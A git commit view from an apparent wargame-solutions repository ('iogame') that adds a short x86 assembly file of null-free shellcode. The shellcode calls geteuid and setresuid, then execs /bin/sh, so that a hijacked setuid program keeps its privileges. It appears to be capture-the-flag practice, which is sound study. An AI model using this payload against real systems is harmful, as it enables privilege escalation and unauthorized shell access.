diff options
author | Iru Cai <mytbk920423@gmail.com> | 2018-10-05 17:41:48 +0800 |
---|---|---|
committer | Iru Cai <mytbk920423@gmail.com> | 2018-10-05 17:41:48 +0800 |
commit | 62d1287693cbb282570c52f44bfcc0be0e590d7f (patch) | |
tree | 92261652f6ae3a139a8c36bdf0caf3182ed79c51 /shellcode/exec-suid.asm | |
download | iogame-62d1287693cbb282570c52f44bfcc0be0e590d7f.tar.xz |
level 1~7, shellcode
Diffstat (limited to 'shellcode/exec-suid.asm')
-rw-r--r-- | shellcode/exec-suid.asm | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/shellcode/exec-suid.asm b/shellcode/exec-suid.asm new file mode 100644 index 0000000..b978195 --- /dev/null +++ b/shellcode/exec-suid.asm @@ -0,0 +1,19 @@ +xor eax, eax +add al, 201 +int 0x80 +mov ebx, eax +mov ecx, eax +mov edx, eax +xor eax, eax +add al, 208 +int 0x80 +xor eax, eax +add al, 11 +mov ebx, 0x3058431f +xor ebx, 0x30303030 +push ebx +push 0x6e69622f +mov ebx, esp +xor ecx, ecx +xor edx, edx +int 0x80 |